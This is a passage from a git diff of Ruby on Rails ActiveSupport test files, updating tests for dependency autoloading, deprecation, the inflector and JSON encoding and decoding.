-      assert !ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
+      assert_not ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
         "CrossSiteDependency shouldn't be marked as autoloaded!"
       ActiveSupport::Dependencies.clear
       assert defined?(CrossSiteDependency),
         "CrossSiteDependency shouldn't have been unloaded!"
     end
   ensure
-    ActiveSupport::Dependencies.autoload_once_paths = []
+    ActiveSupport::Dependencies.autoload_once_paths = old_path
+    remove_constants(:CrossSiteDependency)
   end
 
   def test_hook_called_multiple_times
     assert_nothing_raised { ActiveSupport::Dependencies.hook! }
   end
 
+  def test_load_and_require_stay_private
+    assert Object.private_methods.include?(:load)
+    assert Object.private_methods.include?(:require)
+
+    ActiveSupport::Dependencies.unhook!
+
+    assert Object.private_methods.include?(:load)
+    assert Object.private_methods.include?(:require)
+  ensure
+    ActiveSupport::Dependencies.hook!
+  end
+
   def test_unhook
     ActiveSupport::Dependencies.unhook!
     assert !Module.new.respond_to?(:const_missing_without_dependencies)
@@ -984,11 +1054,4 @@ class DependenciesTest < ActiveSupport::TestCase
   ensure
     ActiveSupport::Dependencies.hook!
   end
-
-private
-  def remove_constants(*constants)
-    constants.each do |constant|
-      Object.send(:remove_const, constant) if Object.const_defined?(constant)
-    end
-  end
 end
diff --git a/activesupport/test/dependencies_test_helpers.rb b/activesupport/test/dependencies_test_helpers.rb
index 9268512a97..e4d5197112 100644
--- a/activesupport/test/dependencies_test_helpers.rb
+++ b/activesupport/test/dependencies_test_helpers.rb
@@ -13,6 +13,7 @@ module DependenciesTestHelpers
     ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
     ActiveSupport::Dependencies.mechanism = old_mechanism
     ActiveSupport::Dependencies.explicitly_unloadable_constants = []
+    ActiveSupport::Dependencies.clear
   end
 
   def with_autoloading_fixtures(&block)
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
index 9674851b9d..20bd8ee5dd 100644
--- a/activesupport/test/deprecation_test.rb
+++ b/activesupport/test/deprecation_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'active_support/testing/stream'
 
 class Deprecatee
   def initialize
@@ -36,6 +37,8 @@ end
 
 
 class DeprecationTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Stream
+
   def setup
     # Track the last warning.
     @old_behavior = ActiveSupport::Deprecation.behavior
@@ -104,14 +107,11 @@ class DeprecationTest < ActiveSupport::TestCase
     message   = 'Revise this deprecated stuff now!'
     callstack = %w(foo bar baz)
 
-    begin
+    e = assert_raise ActiveSupport::DeprecationException do
       ActiveSupport::Deprecation.behavior.first.call(message, callstack)
-    rescue ActiveSupport::DeprecationException => e
-      assert_equal message, e.message
-      assert_equal callstack, e.backtrace
-    else
-      flunk 'the :raise deprecation behaviour should raise the expected exception'
     end
+    assert_equal message, e.message
+    assert_equal callstack, e.backtrace
   end
 
   def test_default_stderr_behavior
@@ -174,7 +174,7 @@ class DeprecationTest < ActiveSupport::TestCase
       ActiveSupport::Deprecation.warn 'abc'
       ActiveSupport::Deprecation.warn 'def'
     end
-  rescue MiniTest::Assertion
+  rescue Minitest::Assertion
     flunk 'assert_deprecated should match any warning in block, not just the last one'
   end
 
@@ -358,4 +358,5 @@ class DeprecationTest < ActiveSupport::TestCase
       end
       deprecator
     end
+
 end
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
index 74669aaca1..00b449af51 100644
--- a/activesupport/test/descendants_tracker_without_autoloading_test.rb
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -4,4 +4,14 @@ require 'descendants_tracker_test_cases'
 
 class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
   include DescendantsTrackerTestCases
+
+  # Regression test for #8422. https://github.com/rails/rails/issues/8442
+  def test_clear_without_autoloaded_singleton_parent
+    mark_as_autoloaded do
+      parent_instance = Parent.new
+      parent_instance.singleton_class.descendants
+      ActiveSupport::DescendantsTracker.clear
+      assert !ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).key?(parent_instance.singleton_class)
+    end
+  end
 end
diff --git a/activesupport/test/empty_bool.rb b/activesupport/test/empty_bool.rb
deleted file mode 100644
index 005b3523ef..0000000000
--- a/activesupport/test/empty_bool.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class EmptyTrue
-  def empty?() true; end
-end
-
-class EmptyFalse
-  def empty?() false; end
-end
diff --git a/activesupport/test/file_fixtures/sample.txt b/activesupport/test/file_fixtures/sample.txt
new file mode 100644
index 0000000000..0fa80e7383
--- /dev/null
+++ b/activesupport/test/file_fixtures/sample.txt
@@ -0,0 +1 @@
+sample file fixture
diff --git a/activesupport/test/fixtures/custom.rb b/activesupport/test/fixtures/custom.rb
deleted file mode 100644
index 0eefce0c25..0000000000
--- a/activesupport/test/fixtures/custom.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Custom
-end
\ No newline at end of file
diff --git a/activesupport/test/hash_with_indifferent_access_test.rb b/activesupport/test/hash_with_indifferent_access_test.rb
new file mode 100644
index 0000000000..1facd691fa
--- /dev/null
+++ b/activesupport/test/hash_with_indifferent_access_test.rb
@@ -0,0 +1,11 @@
+require 'abstract_unit'
+require 'active_support/hash_with_indifferent_access'
+
+class HashWithIndifferentAccessTest < ActiveSupport::TestCase
+  def test_reverse_merge
+    hash = HashWithIndifferentAccess.new key: :old_value
+    hash.reverse_merge! key: :new_value
+    assert_equal :old_value, hash[:key]
+  end
+
+end
diff --git a/activesupport/test/i18n_test.rb b/activesupport/test/i18n_test.rb
index 5ef59b6e6b..3faa15e7fd 100644
--- a/activesupport/test/i18n_test.rb
+++ b/activesupport/test/i18n_test.rb
@@ -99,7 +99,6 @@ class I18nTest < ActiveSupport::TestCase
   end
 
   def test_to_sentence_with_empty_i18n_store
-    I18n.backend.store_translations 'empty', {}
     assert_equal 'a, b, and c', %w[a b c].to_sentence(locale: 'empty')
   end
 end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index 32739d45a9..be68bb2e2e 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -70,10 +70,11 @@ class InflectorTest < ActiveSupport::TestCase
 
 
   def test_overwrite_previous_inflectors
-    assert_equal("series", ActiveSupport::Inflector.singularize("series"))
-    ActiveSupport::Inflector.inflections.singular "series", "serie"
-    assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
-    ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
+    with_dup do
+      assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+      ActiveSupport::Inflector.inflections.singular "series", "serie"
+      assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+    end
   end
 
   MixtureToTitleCase.each_with_index do |(before, titleized), index|
@@ -119,10 +120,14 @@ class InflectorTest < ActiveSupport::TestCase
       ["SSLError",          "ssl_error",          "SSL error",          "SSL Error"],
       ["RESTful",           "restful",            "RESTful",            "RESTful"],
       ["RESTfulController", "restful_controller", "RESTful controller", "RESTful Controller"],
+      ["Nested::RESTful",   "nested/restful",     "Nested/RESTful",     "Nested/RESTful"],
       ["IHeartW3C",         "i_heart_w3c",        "I heart W3C",        "I Heart W3C"],
       ["PhDRequired",       "phd_required",       "PhD required",       "PhD Required"],
       ["IRoRU",             "i_ror_u",            "I RoR u",            "I RoR U"],
       ["RESTfulHTTPAPI",    "restful_http_api",   "RESTful HTTP API",   "RESTful HTTP API"],
+      ["HTTP::RESTful",     "http/restful",       "HTTP/RESTful",       "HTTP/RESTful"],
+      ["HTTP::RESTfulAPI",  "http/restful_api",   "HTTP/RESTful API",   "HTTP/RESTful API"],
+      ["APIRESTful",        "api_restful",        "API RESTful",        "API RESTful"],
 
       # misdirection
       ["Capistrano",        "capistrano",         "Capistrano",       "Capistrano"],
@@ -199,6 +204,7 @@ class InflectorTest < ActiveSupport::TestCase
   def test_demodulize
     assert_equal "Account", ActiveSupport::Inflector.demodulize("MyApplication::Billing::Account")
     assert_equal "Account", ActiveSupport::Inflector.demodulize("Account")
+    assert_equal "Account", ActiveSupport::Inflector.demodulize("::Account")
     assert_equal "", ActiveSupport::Inflector.demodulize("")
   end
 
@@ -287,6 +293,12 @@ class InflectorTest < ActiveSupport::TestCase
     end
   end
 
+  def test_humanize_without_capitalize
+    UnderscoreToHumanWithoutCapitalize.each do |underscore, human|
+      assert_equal(human, ActiveSupport::Inflector.humanize(underscore, capitalize: false))
+    end
+  end
+
   def test_humanize_by_rule
     ActiveSupport::Inflector.inflections do |inflect|
       inflect.human(/_cnt$/i, '\1_count')
@@ -478,8 +490,8 @@ class InflectorTest < ActiveSupport::TestCase
         assert_equal [], inflect.uncountables
 
         # restore all the inflections
-        singulars.reverse.each { |singular| inflect.singular(*singular) }
-        plurals.reverse.each   { |plural|   inflect.plural(*plural) }
+        singulars.reverse_each { |singular| inflect.singular(*singular) }
+        plurals.reverse_each   { |plural|   inflect.plural(*plural) }
         inflect.uncountable(uncountables)
 
         assert_equal singulars, inflect.singulars
@@ -490,10 +502,10 @@ class InflectorTest < ActiveSupport::TestCase
   end
 
   %w(plurals singulars uncountables humans acronyms).each do |scope|
-    ActiveSupport::Inflector.inflections do |inflect|
-      define_method("test_clear_inflections_with_#{scope}") do
-        with_dup do
-          # clear the inflections
+    define_method("test_clear_inflections_with_#{scope}") do
+      with_dup do
+        # clear the inflections
+        ActiveSupport::Inflector.inflections do |inflect|
           inflect.clear(scope)
           assert_equal [], inflect.send(scope)
         end
@@ -501,6 +513,14 @@ class InflectorTest < ActiveSupport::TestCase
     end
   end
 
+  def test_inflections_with_uncountable_words
+    ActiveSupport::Inflector.inflections do |inflect|
+      inflect.uncountable "HTTP"
+    end
+
+    assert_equal "HTTP", ActiveSupport::Inflector.pluralize("HTTP")
+  end
+
   # Dups the singleton and yields, restoring the original inflections later.
   # Use this in tests what modify the state of the singleton.
   #
@@ -508,9 +528,10 @@ class InflectorTest < ActiveSupport::TestCase
   # there are module functions that access ActiveSupport::Inflector.inflections,
   # so we need to replace the singleton itself.
   def with_dup
-    original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)
-    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original.dup)
+    original = ActiveSupport::Inflector::Inflections.instance_variable_get(:@__instance__)[:en]
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original.dup)
+    yield
   ensure
-    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, original)
+    ActiveSupport::Inflector::Inflections.instance_variable_set(:@__instance__, en: original)
   end
 end
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index cc36d62138..18a8b92eb9 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 
 module InflectorTestCases
   SingularToPlural = {
@@ -63,6 +62,7 @@ module InflectorTestCases
     "news"        => "news",
 
     "series"      => "series",
+    "miniseries"  => "miniseries",
     "species"     => "species",
 
     "quiz"        => "quizzes",
@@ -140,6 +140,7 @@ module InflectorTestCases
     "HTMLTidyGenerator"     => "html_tidy_generator",
     "FreeBSD"               => "free_bsd",
     "HTML"                  => "html",
+    "ForceXMLController"    => "force_xml_controller",
   }
 
   CamelWithModuleToUnderscoreWithSlash = {
@@ -207,9 +208,17 @@ module InflectorTestCases
   }
 
   UnderscoreToHuman = {
-    "employee_salary" => "Employee salary",
-    "employee_id"     => "Employee",
-    "underground"     => "Underground"
+    'employee_salary' => 'Employee salary',
+    'employee_id'     => 'Employee',
+    'underground'     => 'Underground',
+    '_id'             => 'Id',
+    '_external_id'    => 'External'
+  }
+
+  UnderscoreToHumanWithoutCapitalize = {
+    "employee_salary" => "employee salary",
+    "employee_id"     => "employee",
+    "underground"     => "underground"
   }
 
   MixtureToTitleCase = {
@@ -307,7 +316,7 @@ module InflectorTestCases
     'child'  => 'children',
     'sex'    => 'sexes',
     'move'   => 'moves',
-    'cow'    => 'kine',
+    'cow'    => 'kine', # Test inflections with different starting letters
     'zombie' => 'zombies',
     'genus'  => 'genera'
   }
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index 99c5f2d1ec..f2fc456f4b 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -1,9 +1,14 @@
-# encoding: utf-8
 require 'abstract_unit'
 require 'active_support/json'
 require 'active_support/time'
 
 class TestJSONDecoding < ActiveSupport::TestCase
+  class Foo
+    def self.json_create(object)
+      "Foo"
+    end
+  end
+
   TESTS = {
     %q({"returnTo":{"\/categories":"\/"}})        => {"returnTo" => {"/categories" => "/"}},
     %q({"return\\"To\\":":{"\/categories":"\/"}}) => {"return\"To\":" => {"/categories" => "/"}},
@@ -52,31 +57,56 @@ class TestJSONDecoding < ActiveSupport::TestCase
     # tests escaping of "\n" char with Yaml backend
     %q({"a":"\n"})  => {"a"=>"\n"},
     %q({"a":"\u000a"}) => {"a"=>"\n"},
-    %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"}
+    %q({"a":"Line1\u000aLine2"}) => {"a"=>"Line1\nLine2"},
+    # prevent json unmarshalling
+    %q({"json_class":"TestJSONDecoding::Foo"}) => {"json_class"=>"TestJSONDecoding::Foo"},
+    # json "fragments" - these are invalid JSON, but ActionPack relies on this
+    %q("a string") => "a string",
+    %q(1.1) => 1.1,
+    %q(1) => 1,
+    %q(-1) => -1,
+    %q(true) => true,
+    %q(false) => false,
+    %q(null) => nil
   }
 
   TESTS.each_with_index do |(json, expected), index|
     test "json decodes #{index}" do
-      prev = ActiveSupport.parse_json_times
-      ActiveSupport.parse_json_times = true
-      silence_warnings do
-        assert_equal expected, ActiveSupport::JSON.decode(json), "JSON decoding \
-        failed for #{json}"
+      with_parse_json_times(true) do
+        silence_warnings do
+          assert_equal expected, ActiveSupport::JSON.decode(json), "JSON decoding \
+          failed for #{json}"
+        end
       end
-      ActiveSupport.parse_json_times = prev
     end
   end
 
   test "json decodes time json with time parsing disabled" do
-    prev = ActiveSupport.parse_json_times
-    ActiveSupport.parse_json_times = false
-    expected = {"a" => "2007-01-01 01:12:34 Z"}
-    assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
-    ActiveSupport.parse_json_times = prev
+    with_parse_json_times(false) do
+      expected = {"a" => "2007-01-01 01:12:34 Z"}
+      assert_equal expected, ActiveSupport::JSON.decode(%({"a": "2007-01-01 01:12:34 Z"}))
+    end
   end
 
   def test_failed_json_decoding
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%(undefined)) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({a: 1})) }
     assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%({: 1})) }
+    assert_raise(ActiveSupport::JSON.parse_error) { ActiveSupport::JSON.decode(%()) }
+  end
+
+  def test_cannot_pass_unsupported_options
+    assert_raise(ArgumentError) { ActiveSupport::JSON.decode("", create_additions: true) }
+  end
+
+  private
+
+  def with_parse_json_times(value)
+    old_value = ActiveSupport.parse_json_times
+    ActiveSupport.parse_json_times = value
+    yield
+  ensure
+    ActiveSupport.parse_json_times = old_value
   end
 end
 
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index ed1326705c..63d921e3b4 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -1,9 +1,13 @@
-# encoding: utf-8
+require 'securerandom'
 require 'abstract_unit'
 require 'active_support/core_ext/string/inflections'
 require 'active_support/json'
+require 'active_support/time'
+require 'time_zone_test_helpers'
 
 class TestJSONEncoding < ActiveSupport::TestCase
+  include TimeZoneTestHelpers
+
   class Foo
     def initialize(a, b)
       @a, @b = a, b
@@ -12,13 +16,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
 
   class Hashlike
     def to_hash
-      { :a => 1 }
+      { :foo => "hello", :bar => "world" }
     end
   end
 
   class Custom
-    def as_json(options)
-      'custom'
+    def initialize(serialized)
+      @serialized = serialized
+    end
+
+    def as_json(options = nil)
+      @serialized
     end
   end
 
@@ -31,6 +39,25 @@ class TestJSONEncoding < ActiveSupport::TestCase
     end
   end
 
+  class OptionsTest
+    def as_json(options = :default)
+      options
+    end
+  end
+
+  class HashWithAsJson < Hash
+    attr_accessor :as_json_called
+
+    def initialize(*)
+      super
+    end
+
+    def as_json(options={})
+      @as_json_called = true
+      super
+    end
+  end
+
   TrueTests     = [[ true,  %(true)  ]]
   FalseTests    = [[ false, %(false) ]]
   NilTests      = [[ nil,   %(null)  ]]
@@ -40,13 +67,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
                    [ 1.0/0.0,   %(null) ],
                    [ -1.0/0.0,  %(null) ],
                    [ BigDecimal('0.0')/BigDecimal('0.0'),  %(null) ],
-                   [ BigDecimal('2.5'), %("#{BigDecimal('2.5').to_s}") ]]
+                   [ BigDecimal('2.5'), %("#{BigDecimal('2.5')}") ]]
 
-  StringTests   = [[ 'this is the <string>',     %("this is the \\u003Cstring\\u003E")],
+  StringTests   = [[ 'this is the <string>',     %("this is the \\u003cstring\\u003e")],
                    [ 'a "string" with quotes & an ampersand', %("a \\"string\\" with quotes \\u0026 an ampersand") ],
                    [ 'http://test.host/posts/1', %("http://test.host/posts/1")],
-                   [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\342\200\250\342\200\251",
-                     %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000B\\f\\r\\u000E\\u000F\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001A\\u001B\\u001C\\u001D\\u001E\\u001F\\u2028\\u2029") ]]
+                   [ "Control characters: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\u2028\u2029",
+                     %("Control characters: \\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\u000b\\f\\r\\u000e\\u000f\\u0010\\u0011\\u0012\\u0013\\u0014\\u0015\\u0016\\u0017\\u0018\\u0019\\u001a\\u001b\\u001c\\u001d\\u001e\\u001f\\u2028\\u2029") ]]
 
   ArrayTests    = [[ ['a', 'b', 'c'],          %([\"a\",\"b\",\"c\"])          ],
                    [ [1, 'a', :b, nil, false], %([1,\"a\",\"b\",null,false]) ]]
@@ -60,8 +87,14 @@ class TestJSONEncoding < ActiveSupport::TestCase
                    [ :"a b", %("a b")  ]]
 
   ObjectTests   = [[ Foo.new(1, 2), %({\"a\":1,\"b\":2}) ]]
-  HashlikeTests = [[ Hashlike.new, %({\"a\":1}) ]]
-  CustomTests   = [[ Custom.new, '"custom"' ]]
+  HashlikeTests = [[ Hashlike.new, %({\"bar\":\"world\",\"foo\":\"hello\"}) ]]
+  CustomTests   = [[ Custom.new("custom"), '"custom"' ],
+                   [ Custom.new(nil), 'null' ],
+                   [ Custom.new(:a), '"a"' ],
+                   [ Custom.new([ :foo, "bar" ]), '["foo","bar"]' ],
+                   [ Custom.new({ :foo => "hello", :bar => "world" }), '{"bar":"world","foo":"hello"}' ],
+                   [ Custom.new(Hashlike.new), '{"bar":"world","foo":"hello"}' ],
+                   [ Custom.new(Custom.new(Custom.new(:a))), '"a"' ]]
 
   RegexpTests   = [[ /^a/, '"(?-mix:^a)"' ], [/^\w{1,2}[a-z]+/ix, '"(?ix-m:^\\\\w{1,2}[a-z]+)"']]
 
@@ -70,8 +103,8 @@ class TestJSONEncoding < ActiveSupport::TestCase
   DateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005/02/01 15:15:10 +0000") ]]
 
   StandardDateTests     = [[ Date.new(2005,2,1), %("2005-02-01") ]]
-  StandardTimeTests     = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10Z") ]]
-  StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10+00:00") ]]
+  StandardTimeTests     = [[ Time.utc(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000Z") ]]
+  StandardDateTimeTests = [[ DateTime.civil(2005,2,1,15,15,10), %("2005-02-01T15:15:10.000+00:00") ]]
   StandardStringTests   = [[ 'this is the <string>', %("this is the <string>")]]
 
   def sorted_json(json)
@@ -96,6 +129,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
     end
   end
 
+  def test_process_status
+    # There doesn't seem to be a good way to get a handle on a Process::Status object without actually
+    # creating a child process, hence this to populate $?
+    system("not_a_real_program_#{SecureRandom.hex}")
+    assert_equal %({"exitstatus":#{$?.exitstatus},"pid":#{$?.pid}}), ActiveSupport::JSON.encode($?)
+  end
+
   def test_hash_encoding
     assert_equal %({\"a\":\"b\"}), ActiveSupport::JSON.encode(:a => :b)
     assert_equal %({\"a\":1}), ActiveSupport::JSON.encode('a' => 1)
@@ -135,24 +175,6 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal "𐒑", decoded_hash['string']
   end
 
-  def test_exception_raised_when_encoding_circular_reference_in_array
-    a = [1]
-    a << a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
-  end
-
-  def test_exception_raised_when_encoding_circular_reference_in_hash
-    a = { :name => 'foo' }
-    a[:next] = a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
-  end
-
-  def test_exception_raised_when_encoding_circular_reference_in_hash_inside_array
-    a = { :name => 'foo', :sub => [] }
-    a[:sub] << a
-    assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
-  end
-
   def test_hash_key_identifiers_are_always_quoted
     values = {0 => 0, 1 => 1, :_ => :_, "$" => "$", "a" => "a", :A => :A, :A0 => :A0, "A0B" => "A0B"}
     assert_equal %w( "$" "A" "A0" "A0B" "_" "a" "0" "1" ).sort, object_keys(ActiveSupport::JSON.encode(values))
@@ -167,21 +189,17 @@ class TestJSONEncoding < ActiveSupport::TestCase
   end
 
   def test_time_to_json_includes_local_offset
-    prev = ActiveSupport.use_standard_json_time_format
-    ActiveSupport.use_standard_json_time_format = true
-    with_env_tz 'US/Eastern' do
-      assert_equal %("2005-02-01T15:15:10-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+    with_standard_json_time_format(true) do
+      with_env_tz 'US/Eastern' do
+        assert_equal %("2005-02-01T15:15:10.000-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+      end
     end
-  ensure
-    ActiveSupport.use_standard_json_time_format = prev
   end
 
   def test_hash_with_time_to_json
-    prev = ActiveSupport.use_standard_json_time_format
-    ActiveSupport.use_standard_json_time_format = false
-    assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
-  ensure
-    ActiveSupport.use_standard_json_time_format = prev
+    with_standard_json_time_format(false) do
+      assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
+    end
   end
 
   def test_nested_hash_with_float
@@ -196,6 +214,31 @@ class TestJSONEncoding < ActiveSupport::TestCase
     end
   end
 
+  def test_hash_like_with_options
+    h = Hashlike.new
+    json = h.to_json :only => [:foo]
+
+    assert_equal({"foo"=>"hello"}, JSON.parse(json))
+  end
+
+  def test_object_to_json_with_options
+    obj = Object.new
+    obj.instance_variable_set :@foo, "hello"
+    obj.instance_variable_set :@bar, "world"
+    json = obj.to_json :only => ["foo"]
+
+    assert_equal({"foo"=>"hello"}, JSON.parse(json))
+  end
+
+  def test_struct_to_json_with_options
+    struct = Struct.new(:foo, :bar).new
+    struct.foo = "hello"
+    struct.bar = "world"
+    json = struct.to_json :only => [:foo]
+
+    assert_equal({"foo"=>"hello"}, JSON.parse(json))
+  end
+
   def test_hash_should_pass_encoding_options_to_children_in_as_json
     person = {
       :name => 'John',
@@ -246,12 +289,39 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
   end
 
-  def test_enumerable_should_pass_encoding_options_to_children_in_as_json
-    people = [
-      { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
-      { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+  People = Class.new(BasicObject) do
+    include Enumerable
+    def initialize()
+      @people = [
+        { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+        { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+      ]
+    end
+    def each(*, &blk)
+      @people.each do |p|
+        yield p if blk
+        p
+      end.each
+    end
+  end
+
+  def test_enumerable_should_generate_json_with_as_json
+    json = People.new.as_json :only => [:address, :city]
+    expected = [
+      { 'address' => { 'city' => 'London' }},
+      { 'address' => { 'city' => 'Paris' }}
     ]
-    json = people.each.as_json :only => [:address, :city]
+
+    assert_equal(expected, json)
+  end
+
+  def test_enumerable_should_generate_json_with_to_json
+    json = People.new.to_json :only => [:address, :city]
+    assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+  end
+
+  def test_enumerable_should_pass_encoding_options_to_children_in_as_json
+    json = People.new.each.as_json :only => [:address, :city]
     expected = [
       { 'address' => { 'city' => 'London' }},
       { 'address' => { 'city' => 'Paris' }}
@@ -261,23 +331,39 @@ class TestJSONEncoding < ActiveSupport::TestCase
   end
 
   def test_enumerable_should_pass_encoding_options_to_children_in_to_json
-    people = [
-      { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
-      { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
-    ]
-    json = people.each.to_json :only => [:address, :city]
+    json = People.new.each.to_json :only => [:address, :city]
 
     assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
   end
 
-  def test_to_json_should_not_keep_options_around
+  def test_hash_to_json_should_not_keep_options_around
     f = CustomWithOptions.new
     f.foo = "hello"
     f.bar = "world"
 
     hash = {"foo" => f, "other_hash" => {"foo" => "other_foo", "test" => "other_test"}}
     assert_equal({"foo"=>{"foo"=>"hello","bar"=>"world"},
-                  "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, JSON.parse(hash.to_json))
+                  "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, ActiveSupport::JSON.decode(hash.to_json))
+  end
+
+  def test_array_to_json_should_not_keep_options_around
+    f = CustomWithOptions.new
+    f.foo = "hello"
+    f.bar = "world"
+
+    array = [f, {"foo" => "other_foo", "test" => "other_test"}]
+    assert_equal([{"foo"=>"hello","bar"=>"world"},
+                  {"foo"=>"other_foo","test"=>"other_test"}], ActiveSupport::JSON.decode(array.to_json))
+  end
+
+  def test_hash_as_json_without_options
+    json = { foo: OptionsTest.new }.as_json
+    assert_equal({"foo" => :default}, json)
+  end
+
+  def test_array_as_json_without_options
+    json = [ OptionsTest.new ].as_json
+    assert_equal([:default], json)
   end
 
   def test_struct_encoding
@@ -302,24 +388,13 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal({"name" => "David",
                   "sub" => {
                     "name" => "David",
-                    "date" => "2010-01-01" }}, JSON.parse(json_custom))
+                    "date" => "2010-01-01" }}, ActiveSupport::JSON.decode(json_custom))
 
     assert_equal({"name" => "David", "email" => "sample@example.com"},
-                 JSON.parse(json_strings))
+                 ActiveSupport::JSON.decode(json_strings))
 
     assert_equal({"name" => "David", "date" => "2010-01-01"},
-                 JSON.parse(json_string_and_date))
-  end
-
-  def test_opt_out_big_decimal_string_serialization
-    big_decimal = BigDecimal('2.5')
-
-    begin
-      ActiveSupport.encode_big_decimal_as_string = false
-      assert_equal big_decimal.to_s, big_decimal.to_json
-    ensure
-      ActiveSupport.encode_big_decimal_as_string = true
-    end
+                 ActiveSupport::JSON.decode(json_string_and_date))
   end
 
   def test_nil_true_and_false_represented_as_themselves
@@ -328,16 +403,104 @@ class TestJSONEncoding < ActiveSupport::TestCase
     assert_equal false, false.as_json
   end
 
+  def test_json_gem_dump_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal %({"foo":"hello","bar":"world"}), JSON.dump(h)
+    assert_nil h.as_json_called
+  end
+
+  def test_json_gem_generate_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal %({"foo":"hello","bar":"world"}), JSON.generate(h)
+    assert_nil h.as_json_called
+  end
+
+  def test_json_gem_pretty_generate_by_passing_active_support_encoder
+    h = HashWithAsJson.new
+    h[:foo] = "hello"
+    h[:bar] = "world"
+
+    assert_equal <<EXPECTED.chomp, JSON.pretty_generate(h)
+{
+  "foo": "hello",
+  "bar": "world"
+}
+EXPECTED
+    assert_nil h.as_json_called
+  end
+
+  def test_twz_to_json_with_use_standard_json_time_format_config_set_to_false
+    with_standard_json_time_format(false) do
+      zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+      time = ActiveSupport::TimeWithZone.new(Time.utc(2000), zone)
+      assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(time)
+    end
+  end
+
